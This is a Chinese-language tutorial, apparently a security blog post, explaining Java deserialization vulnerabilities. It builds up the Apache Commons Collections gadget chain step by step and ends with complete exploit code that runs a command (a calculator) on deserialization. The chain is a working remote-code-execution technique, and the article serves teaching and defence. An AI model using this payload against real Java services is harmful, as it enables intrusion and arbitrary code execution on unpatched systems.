把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。
指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。主要应用在以下场景:
HTTP:多平台之间的传输等
RMI:是 Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。
暴露或间接暴露反序列化 API ,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码
反序列化时会调用readObject()函数,如果重写了readObject函数,并且里面含有恶意代码,那么在反序列化时调用这个函数就会直接执行恶意代码。
接下来可以直接用一个例子来具体分析一下java反序列化漏洞,代码如下:
import java.io.*;class MyObject implements Serializable{
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException, IOException {
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");
}
}
public class testSerialize {
public static void main(String args[]) throws Exception{
//定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
首先我们定义了一个Myobject类并继承了Serializable接口,并且重写了readObject方法。我们知道在反序列化时会执行readObject方法。而我们在readObject()方法中写入了Runtime.getRuntime().exec("calc.exe"),在反序列化时就会执行相应的命令。
这里需要注意:只有实现了Serializable接口的类的对象才可以被序列化,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。
效果如下:
看到这里,可能有人会问,你这样时一种理想情况,实际上谁会这样写readObject()方法。没错,在实际情况中我们机会没有遇到过这样写的,但是我们还可以通过其它方式去利用。如果readObject()中调用了其它类的方法,而其它类的方法使用了危险函数,那么是不是也可以进行利用。
那么,现在问题的关键就变成了找到一条这样的利用链。
接下来来看一个实际的例子, Apache-Commons-Collections反序列化漏洞。
Apache Commons Collections是Apache Commons的组件,该漏洞的问题主要出现在org.apache.commons.collections.Transformer接口上。在Apache commons.collections中有一个InvokerTransformer实现了Transformer接口,主要作用为调用Java的反射机制来调用任意函数。
先来看一下Transformer接口,只定义了下面的一个方法:
InvokerTransformer继承了Transformer,并实现了该方法:
public class InvokerTransformer implements Transformer, Serializable {
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
上面的代码中可以看出,这里利用了反射机制,调用传入对象的任意方法。
上面的三个参数分别表示的意思是:
methodName:方法名
paramTypes: 参数类型
args:传入方法的参数值
如果想要直接调用上面的InvokerTransformer的transform方法进行命令执行,可以这样写:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"});
invokerTransformer.transform(runtime);
这里还有一个问题就是如何获得Runtime.getRuntime()类并把这个类传入invokerTransformer.transform(runtime)函数中?
接下来又找到下面的两个类:ConstantTransformer类和ChainedTransformer类
先来看看ConstantTransformer类:
public class ConstantTransformer implements Transformer, Serializable {
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
从上面可以看出可以传入一个类实例化以后,调用transform方法,会直接返回传入的类。这个正好可以用来获得Runtime.getRuntime()类。
接下来再来看看另一个类ChainedTransformer:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
如果iTransformers为上面的InvokerTransformer对象,我们可以构造多个InvokerTransformer对象(注意这里的iTransformers是个数组),让这条语句通过反射来创建Runtime的实例:
那么我们现在可以构造这样的代码去执行命令:
Transformer[] transformers = new Transformer[] {
//Runtime.class.getMethod('getRuntime').invoke()
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
//获取java.lang.class
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform("123");
到这里,又发现一个问题,要让反序列化的时候能够执行,那么就需要找到这样一个类:这个类重写了readOjbect()函数,并且调用了ChainedTransformer类的transform()方法,只有这样才能在反序列化的时候自动执行我们的命令。
比较幸运的是,存在这样的类,它们就是TransformeMap和AnnotationInvocationHandler类。
在TransformeMap类中存在一个这样的方法:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
如果valueTransformer为我们构造的ChainedTransformer对象,那么就可以满足上面的条件。
通过分析构造函数,我们发现这个值是可以直接构造的:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
那么接下来的问题就变成,如何去调用checkSetValue()方法。继续跟进TransformeMap的父类AbstractInputCheckedMapDecorator,在里面有一个静态的内部类:
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
这里的setValue方法调用了checkSetValue,如果this.parent指向我们前面构造的TransformeMap对象,那么这里就可以触发漏洞点。
到这里就可以进一步完善我们的调用链:
Transformer[] transformers = new Transformer[] {
//Runtime.class.getMethod('getRuntime').invoke()
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
//获取java.lang.class
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("1", "1");
//构造TransformedMap对象,带入前面构造的transformerChain
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//返回Entry这个内部类
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();onlyElement.setValue("123123");
到目前为止还是跟上面一样的问题,要是在反序列化的时候利用就必须在readObject()方法中,现在变成了找到一个这样的readObject()方法。
这里就需要用到AnnotationInvocationHandler这个类(JDK版本要小于1.7),该类重写了readObject方法,在该方法里面调用了map的setValue方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
这里可以发现memberValues是一个map对象,并且是可以由我们直接传入参数的。
找到了这样的一个readObject()方法。到这里,就比较明显了。我们传入一个构造好的AnnotationInvocationHandler对象,目标对其进行反序列,便会造成任意代码执行。
最终的payload如下:
T
Transformer[] transformers = new Transformer[] {
//Runtime.class.getMethod('getRuntime').invoke()
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
//获取java.lang.class
};
Transformer transformerChain = new ChainedTransformer(transformers);
//transformerChain.transform("123");Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true,否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
对上面的payload进行序列化,然后发送给反序列化的接口,就可以执行我们想要执行的命令。
最后再来总结一下利用链(来自ysoserial):
Java 十分受开发者喜爱的一点是其拥有完善的第三方类库,和满足各种需求的框架;但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,那么受影响范围将极为广泛。
很多常用的组件都出过反序列化漏洞,如fastjson,jackson,hibernate,Apache Commons Collections等等。
ysoserial:集合了各种反序列化poc的工具
marshalsec:反序列化poc,以及可以启动rmi,jndi服务端
反序列化漏洞一般需要满足两个条件:
1)入口类,也就是触发点,反序列化的入口
2)程序中存在一条可以产生安全问题的利用链。将这个利用链序列化发送给序列化入口,反序列化后执行代码。
利用链一般出现在各种第三方组件中,可以看项目中是否使用了在危险版本的组件。
https://paper.seebug.org/312/
https://zhuanlan.zhihu.com/p/389252470
- END -https://www.freebuf.com/articles/web/367585.html